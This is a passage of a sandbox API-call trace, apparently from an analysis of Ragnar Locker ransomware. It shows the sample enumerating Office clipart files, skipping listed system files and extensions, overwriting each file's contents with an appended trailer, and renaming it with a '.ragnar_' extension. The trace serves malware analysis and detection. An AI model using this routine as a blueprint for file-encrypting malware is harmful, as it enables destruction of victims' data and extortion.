(lpString1="FD00336_.WMF", lpString2="autorun.inf") returned 1 [0082.138] lstrcmpiW (lpString1="FD00336_.WMF", lpString2="boot.ini") returned 1 [0082.138] lstrcmpiW (lpString1="FD00336_.WMF", lpString2="bootfont.bin") returned 1 [0082.138] lstrcmpiW (lpString1="FD00336_.WMF", lpString2="bootsect.bak") returned 1 [0082.138] lstrcmpiW (lpString1="FD00336_.WMF", lpString2="bootmgr") returned 1 [0082.138] lstrcmpiW (lpString1="FD00336_.WMF", lpString2="bootmgr.efi") returned 1 [0082.138] lstrcmpiW (lpString1="FD00336_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.138] lstrcmpiW (lpString1="FD00336_.WMF", lpString2="desktop.ini") returned 1 [0082.138] lstrcmpiW (lpString1="FD00336_.WMF", lpString2="iconcache.db") returned -1 [0082.138] lstrcmpiW (lpString1="FD00336_.WMF", lpString2="ntldr") returned -1 [0082.138] lstrcmpiW (lpString1="FD00336_.WMF", lpString2="ntuser.dat") returned -1 [0082.138] lstrcmpiW (lpString1="FD00336_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.138] lstrcmpiW (lpString1="FD00336_.WMF", lpString2="ntuser.ini") returned -1 [0082.138] lstrcmpiW (lpString1="FD00336_.WMF", lpString2="thumbs.db") returned -1 [0082.138] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.138] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.138] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.138] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.138] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.138] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.138] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf")) returned 0x20 [0082.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.138] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6068) returned 1 [0082.139] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x17ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.139] GetProcessHeap () returned 0x580000 [0082.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.139] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.140] VirtualAlloc (lpAddress=0x0, dwSize=0x17b4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.140] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.140] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.140] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x17b4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x17b4, lpOverlapped=0x0) returned 1 [0082.141] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.141] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x17b4, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.141] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x17b4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x17b4, lpOverlapped=0x0) returned 1 [0082.141] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x17b4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.141] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.142] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x17b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.142] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.142] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.142] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.142] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.142] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.142] GetProcessHeap () returned 0x580000 [0082.142] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.142] CloseHandle (hObject=0xf4) returned 1 [0082.142] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" [0082.142] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.ragnar_FD7BD9FC" [0082.142] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.143] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf943800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaf943800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xfea, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00361_.WMF", cAlternateFileName="")) returned 1 [0082.143] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.143] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD00361_.WMF" | out: lpString1="FD00361_.WMF") returned="FD00361_.WMF" [0082.143] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned=".WMF" [0082.143] lstrcmpiW (lpString1="FD00361_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.143] lstrcmpiW (lpString1="FD00361_.WMF", lpString2="autorun.inf") returned 1 [0082.143] lstrcmpiW (lpString1="FD00361_.WMF", lpString2="boot.ini") returned 1 [0082.143] lstrcmpiW (lpString1="FD00361_.WMF", lpString2="bootfont.bin") returned 1 [0082.143] lstrcmpiW (lpString1="FD00361_.WMF", lpString2="bootsect.bak") returned 1 [0082.143] lstrcmpiW (lpString1="FD00361_.WMF", lpString2="bootmgr") returned 1 [0082.143] lstrcmpiW (lpString1="FD00361_.WMF", lpString2="bootmgr.efi") returned 1 [0082.143] lstrcmpiW (lpString1="FD00361_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.143] lstrcmpiW (lpString1="FD00361_.WMF", lpString2="desktop.ini") returned 1 [0082.143] lstrcmpiW (lpString1="FD00361_.WMF", lpString2="iconcache.db") returned -1 [0082.143] lstrcmpiW (lpString1="FD00361_.WMF", lpString2="ntldr") returned -1 [0082.143] lstrcmpiW (lpString1="FD00361_.WMF", lpString2="ntuser.dat") returned -1 [0082.143] lstrcmpiW (lpString1="FD00361_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.143] lstrcmpiW (lpString1="FD00361_.WMF", lpString2="ntuser.ini") returned -1 [0082.143] lstrcmpiW (lpString1="FD00361_.WMF", lpString2="thumbs.db") returned -1 [0082.143] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.143] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.143] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.143] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.143] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.143] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.143] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.143] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf")) returned 0x20 [0082.144] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.144] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4074) returned 1 [0082.144] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xfe1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.144] GetProcessHeap () returned 0x580000 [0082.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.144] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.145] VirtualAlloc (lpAddress=0x0, dwSize=0xfea, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.145] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.146] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.146] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xfea, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xfea, lpOverlapped=0x0) returned 1 [0082.146] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.146] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xfea, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.146] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xfea, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xfea, lpOverlapped=0x0) returned 1 [0082.146] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xfea, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.146] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.146] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xfea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.146] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.146] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.146] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.147] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.147] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.147] GetProcessHeap () returned 0x580000 [0082.147] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.147] CloseHandle (hObject=0xf4) returned 1 [0082.147] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" [0082.147] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.ragnar_FD7BD9FC" [0082.147] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.147] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb6bcf00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb6bcf00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00369_.WMF", cAlternateFileName="")) returned 1 [0082.147] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.147] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD00369_.WMF" | out: lpString1="FD00369_.WMF") returned="FD00369_.WMF" [0082.147] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned=".WMF" [0082.147] lstrcmpiW (lpString1="FD00369_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.147] lstrcmpiW (lpString1="FD00369_.WMF", lpString2="autorun.inf") returned 1 [0082.147] lstrcmpiW (lpString1="FD00369_.WMF", lpString2="boot.ini") returned 1 [0082.148] lstrcmpiW (lpString1="FD00369_.WMF", lpString2="bootfont.bin") returned 1 [0082.148] lstrcmpiW (lpString1="FD00369_.WMF", lpString2="bootsect.bak") returned 1 [0082.148] lstrcmpiW (lpString1="FD00369_.WMF", lpString2="bootmgr") returned 1 [0082.148] lstrcmpiW (lpString1="FD00369_.WMF", lpString2="bootmgr.efi") returned 1 [0082.148] lstrcmpiW (lpString1="FD00369_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.148] lstrcmpiW (lpString1="FD00369_.WMF", lpString2="desktop.ini") returned 1 [0082.148] lstrcmpiW (lpString1="FD00369_.WMF", lpString2="iconcache.db") returned -1 [0082.148] lstrcmpiW (lpString1="FD00369_.WMF", lpString2="ntldr") returned -1 [0082.148] lstrcmpiW (lpString1="FD00369_.WMF", lpString2="ntuser.dat") returned -1 [0082.148] lstrcmpiW (lpString1="FD00369_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.148] lstrcmpiW (lpString1="FD00369_.WMF", lpString2="ntuser.ini") returned -1 [0082.148] lstrcmpiW (lpString1="FD00369_.WMF", lpString2="thumbs.db") returned -1 [0082.148] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.148] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.148] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.148] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.148] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.148] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.148] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf")) returned 0x20 [0082.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.148] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8552) returned 1 [0082.148] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x215f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.148] GetProcessHeap () returned 0x580000 [0082.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.149] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.150] VirtualAlloc (lpAddress=0x0, dwSize=0x2168, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.150] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.150] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.150] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2168, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2168, lpOverlapped=0x0) returned 1 [0082.151] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.151] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2168, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.151] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2168, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2168, lpOverlapped=0x0) returned 1 [0082.151] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2168, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.151] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.151] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2168, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.152] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.152] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.152] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.152] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.152] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.152] GetProcessHeap () returned 0x580000 [0082.152] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.152] CloseHandle (hObject=0xf4) returned 1 [0082.152] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" [0082.152] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.ragnar_FD7BD9FC" [0082.152] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.153] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcdfcc00, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcdfcc00, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x20e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00382_.WMF", cAlternateFileName="")) returned 1 [0082.153] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.153] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD00382_.WMF" | out: lpString1="FD00382_.WMF") returned="FD00382_.WMF" [0082.153] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned=".WMF" [0082.153] lstrcmpiW (lpString1="FD00382_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.153] lstrcmpiW (lpString1="FD00382_.WMF", lpString2="autorun.inf") returned 1 [0082.153] lstrcmpiW (lpString1="FD00382_.WMF", lpString2="boot.ini") returned 1 [0082.153] lstrcmpiW (lpString1="FD00382_.WMF", lpString2="bootfont.bin") returned 1 [0082.153] lstrcmpiW (lpString1="FD00382_.WMF", lpString2="bootsect.bak") returned 1 [0082.153] lstrcmpiW (lpString1="FD00382_.WMF", lpString2="bootmgr") returned 1 [0082.153] lstrcmpiW (lpString1="FD00382_.WMF", lpString2="bootmgr.efi") returned 1 [0082.153] lstrcmpiW (lpString1="FD00382_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.153] lstrcmpiW (lpString1="FD00382_.WMF", lpString2="desktop.ini") returned 1 [0082.153] lstrcmpiW (lpString1="FD00382_.WMF", lpString2="iconcache.db") returned -1 [0082.153] lstrcmpiW (lpString1="FD00382_.WMF", lpString2="ntldr") returned -1 [0082.153] lstrcmpiW 